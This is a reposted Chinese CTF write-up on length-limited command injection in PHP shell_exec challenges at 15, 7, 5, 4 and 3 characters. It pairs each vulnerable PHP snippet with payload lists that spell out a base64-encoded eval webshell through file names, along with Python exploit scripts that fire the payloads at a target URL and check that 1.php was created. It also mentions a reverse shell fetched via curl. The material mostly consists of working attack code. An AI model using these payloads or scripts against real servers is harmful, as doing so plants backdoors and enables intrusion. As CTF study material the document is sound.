命令执行的字符限制绕过
转载 CTF相关知识点 有限字符下的任意命令执行总结
15位可控字符
1 2 3 4 5 6 7 8
<?php highlight_file(__FILE__ ); if (strlen($_GET[1 ])<15 ){ echo strlen($_GET[1 ]); echo shell_exec($_GET[1 ]); }else { exit ('too long' ); }
因为只能传入14个字符,但是没有限制命令执行的次数,所以我们的思想可以通过Linux下的>符号与>>符号写入一段一句话木马到指定文件。
1 2 3 4 5
<?php eval ($_GET [1 ] );
经测试上述这样的一句话木马(经过换行)是可以命令执行的,所以我们可以通过传参构造出这样的一句话木马,不断传入以下Payload:
1 2 3 4 5 6
echo \<?php >1 echo eval \(>>1 echo \$_GET>>1 echo \[1 \]>>1 echo \)\;>>1 mv 1 1. php
7位可控字符
1 2 3 4 5 6 7 8 9 10 11 12
<?php highlight_file(__FILE__ ); if (strlen($_GET[1 ]<=7 )){ echo strlen($_GET[1 ]); echo '<hr/>' ; echo shell_exec($_GET[1 ]); }else { exit ('too long' ); } ?>
知识点
1 2 3 4 5
>a ls -t sh a 使用\进行命令拼接 base64
目标,写入语句“<?php eval($_GET[1]);”
,base64编码后“PD9waHAgZXZhbCgkX0dFVFsxXSk7”
需要被执行的语句是:“echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php” payload.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
>hp >1.p\\ >d\>\\ >\ -\\ >e64\\ >bas\\ >7\|\\ >XSk\\ >Fsx\\ >dFV\\ >kX0\\ >bCg\\ >XZh\\ >AgZ\\ >waH\\ >PD9\\ >o\ \\ >ech\\ ls -t>0 sh 0
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import requests target_url="http://192.168.1.101" url = target_url+"/command.php?1={}" print("[+]start attack!!!" ) with open("payload.txt" ,"r" ) as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) test = requests.get(target_url+"/1.php" ) if test.status_code == requests.codes.ok: print("[*]Attack success!!!" )
攻击完后生成1.php
5位可控字符
1 2 3 4 5 6 7 8 9 10 11
<?php $sandbox = '/var/www/html/sandbox/' . md5("orange" . $_SERVER ['REMOTE_ADDR' ]); @mkdir($sandbox ); @chdir ($sandbox ); if (isset($_GET ['cmd' ]) & ;& strlen($_GET ['cmd' ]) <= 5) { @exec ($_GET ['cmd' ]); } else if (isset($_GET ['reset' ])) { @exec ('/bin/rm -rf ' . $sandbox ); } highlight_file(__FILE__); ?>
知识点:
输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)
用dir来代替ls不换行输出;rev将文件内容反向输出;在用ls时,写到a时每个文件名都是单独一行
1 2 3
>rev echo 1234 > v*v (等同于命令:rev v
两种利用方式:
反弹shell: 一种是curl服务起上写好的文件,进行反弹Shell,
写马:写入一句话木马
详细的解释参看https://www.freesion.com/article/8743881775/
1
echo ${IFS} PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
那么我们只需要将上面的代码拆分倒序输入到主机即可。我们需要让sh先执行a文件(ls -th >f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。最终payload如下 payload.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
>dir >f\> >ht- >sl *>v >rev *v>a >hp >p\\ >1.\\ >\>\\ >-d\\ >\ \\ >64\\ >se\\ >ba\\ >\|\\ >7\\ >Sk\\ >X\\ >x\\ >Fs\\ >FV\\ >d\\ >X0\\ >k\\ >g\\ >bC\\ >h\\ >XZ\\ >gZ\\ >A\\ >aH\\ >w\\ >D9\\ >P\\ >S}\\ >IF\\ >{\\ >\$\\ >o\\ >ch\\ >e\\ sh a sh f
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13
import requests target_url="http://192.168.1.101" url = target_url+"/command.php?cmd={}" print ("[+]start attack!!!" )with open("payload.txt" ,"r" ,encoding="utf-8" ) as f: for i in f: print ("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) test = requests.get(target_url+"/sandbox/fec93fd8e80b1dce1c81d832dc43fa40/1.php" )if test.status_code == requests.codes.ok: print ("[*]Attack success!!!" )
在本地实验中用sh失败了,用bash成功,不知道啥原因
四位可控字符
与之前的5位是一样的,经测试构造的payload.txt内容去掉了一个\也可以成功输出1.php payload.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
>dir >f\> >ht- >sl *>v >rev *v>a >hp >p\ >1.\ >\>\ >-d\ >\ \ >64\ >se\ >ba\ >\|\ >7\ >Sk\ >X\ >x\ >Fs\ >FV\ >d\ >X0\ >k\ >g\ >bC\ >h\ >XZ\ >gZ\ >A\ >aH\ >w\ >D9\ >P\\ >S}\ >IF\ >{\ >\$\ >o\ >ch\ >e\ sh a sh f
三位可控字符
来自CTFSHOW平台的【nl】难了 一题
1 2 3 4 5 6 7 8 9 10
<?php show_source(__FILE__ ); error_reporting(0 ); if (strlen($_GET[1 ])<4 ){ echo shell_exec($_GET[1 ]); } else { echo "hack!!!" ; } ?>
只存在s开头的和z开头的文件,Linux中文件排序按照26个英文字母顺序排放,所以我们依然利用前几种字符限制的方法,通过>写入一个以命令名命名的文件,如:nl(读取文件带上行)od(八进制显示输出),但这样的命令前提是其第一个字母必须在当前文件名中排到第一位。
payload:
1 2
?1=>nl ?1=*或?1=*>z ?1=>od ?1=*
上图是传入nl后ls当前目录下的内容,接下来再传入?=*
的时候就会在源代码中得到flag。 参考文章:
CTF相关知识点 有限字符下的任意命令执行总结
【CTF 攻略】如何绕过四个字符限制getshell
FROM :blog.cfyqy.com | Author:cfyqy
评论